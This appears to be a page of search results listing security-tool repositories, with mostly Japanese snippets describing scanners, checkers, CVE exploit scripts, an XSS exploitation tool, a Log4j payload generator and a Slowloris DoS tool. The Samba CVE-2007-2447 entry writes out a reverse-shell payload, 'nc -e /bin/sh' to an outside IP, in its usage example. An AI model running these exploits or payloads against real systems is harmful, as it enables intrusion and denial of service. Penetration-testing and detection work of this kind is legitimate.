116758 matches found
Invoke-DumpMDEConfig
DumpMDEConfig PowerShell スクリプト 概要 Invoke-DumpMDEConfig は、Microsoft Defender の構成とログを抽出して表示するように設計された PowerShell スクリプトです。除外パス、有効な ASR ルール、許可された脅威、保護履歴、Exploit Guard の保護履歴などを含みます。このスクリプトには、データをテーブル形式または CSV 形式で出力するオプションがあります。 使用方法 To run the script and output the results in list format:...
Fenrir
Fenrir シンプルなBash IOCスキャナー FenrirはシンプルなIOCスキャナーのBashスクリプトです。Linux/Unix/OSXシステムで以下の侵害指標（IOC）をスキャンできます： ハッシュ MD5、SHA1、SHA256（md5sum、sha1sum、sha -a 256を使用） ファイル名 文字列 - フルパスの部分文字列をチェック（例："/var/temp/p.exe" 内の "temp/p.exe"） 文字列 ファイル内をgrep C2サーバー lsof -i および lsof -i -n の出力でC2サーバーの文字列をチェック ホットタイムフレーム...
CVE-2024-30043-XXE
CVE-2024-30043-XXE クレジット 本脆弱性の影響は現時点では限定的ですが、巧妙なバイパスアイデアを提供してくれた https://x.com/chudyPB に感謝します。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud...
Network_Assessment
ネットワーク評価 Wireshark や TCPdump を使用すると、監視対象のネットワーク上で記録したネットワークトラフィックに有害なアクティビティがあるかどうかを判断できます。 この Python スクリプトは、指定された .pcap ファイルのネットワークトラフィックを解析し、以下の不審なネットワークアクティビティや攻撃を検出しようとします： 1. DNS トンネリング 2. SSH トンネリング 3. TCP セッションハイジャック 4. SMB 攻撃 5. SMTP または DNS 攻撃 6. IPv6 フラグメンテーション攻撃 7. TCP RST 攻撃 8. SYN...
toxssin
toxssin Purpose toxssin is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting XSS vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool...
CVE-2022-36804
CVE-2022-36804 BitbucketのCVE-2022-36804に関連する脆弱性を悪用するPythonスクリプトがあります。 .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxxo, .:dxxxxxxo' ,dxxxxxxd; .cxxxxxxxl. 'oxxxxxxx:. .okkkkkkxl. 'okkkkkkxc...
CVE-2020-10204
CVE-2020-10204 CVE-2020-10204 リモートコマンド実行スクリプト その他のスクリプトファイルはこちら：https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-10204 Nexus...
CVE-2020-10199
CVE-2020-10199 エコーバージョン 適当に書いた未テストのバグ Usage: python http://127.0.0.1:8080 username password 参考：https://www.cnblogs.com/magic-zero/p/12641068.html...
CVE-2021-41773-POC
CVE-2021-41773-nse 作者: George Labrin @creadpag サーバーがApache 2.4.49のCVE-2021-41773に対して脆弱かどうかをチェックします。 POC お気に入りのターミナルを開いて、以下のコマンドを実行してください。 NMAPの使用 1つ目のタブ: mv cve-2021-41773.nse /usr/share/nmap/scripts/ 2つ目のタブ: sudo nmap -Pn --script=cve-2021-41773.nse X.X.X.X -p X...
log4j-payload-generator
log4j-payload-generator log4j-paylaod generator : Apache log4j RCE CVE-2021-44228 向けの汎用ペイロードジェネレーター。 デプロイ このプロジェクトをデプロイするには、次のコマンドを実行します。 sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git テストの実行 テストを実行するには、次のコマンドを実行します。 cd log4j-payload-generator/ python3...
CVE-2022-0847-dirty-pipe-checker
CVE-2022-0847-dirty-pipe-checker CVE-2022-0847「Dirty Pipe」をチェックするBashスクリプト https://dirtypipe.cm4all.com/ 使い方 現在のカーネルバージョンを確認する ./dpipe.sh 特定のカーネルバージョンを確認する ./dpipe.sh 5.10.11...
CVE-2021-44228_PoC
CVE-2021-44228 の PoC このPythonスクリプトは、Log4j の TryHackMe ルームに取り組んでいる間に作成しました。このルームのデフォルト変数で作成しましたが、argparseを使用してGETリクエストに対応できるように汎用性を持たせています。必要な変数はすべてオプションで変更可能です。詳細は -h を参照してください。 セットアップ...
CVE-2007-2447-in-Python
CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...
CVE-2019-0708poc
CVE-2019-0708poc 360Vulcan Teamが開発したCVE-2019-0708の単一IP検出ツールを基に、バッチ検出スクリプトを作成しました。 シングルスレッド版しか書いていません。。マルチスレッド化する時間がまだありません。。...
slowloris
slowloris.py - Pythonで書かれたシンプルなSlowloris Slowlorisとは？ Slowlorisは基本的に、スレッド型サーバーに影響を与えるHTTPサービス拒否攻撃です。仕組みは次のとおりです。 1. 大量のHTTPリクエストを開始します。 2. 接続を維持するために、定期的（約15秒ごと）にヘッダーを送信します。 3. サーバーが閉じない限り、接続を閉じません。サーバーが接続を閉じた場合は、新しい接続を作成して同じことを続けます。 これにより、サーバーのスレッドプールが枯渇し、サーバーは他の人に応答できなくなります。 引用...
bad_ducky
Bad Ducky Summary Bad Ducky is yet another Rubber Ducky clone. It is based on CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo clone board with onboard card reader, which you can buy on ebay or aliexpress. My goal was to create something compatible with Rubber Ducky scripts, while having ability to...
sticky_keys_hunter
Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...
sticky_keys_hunter
Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...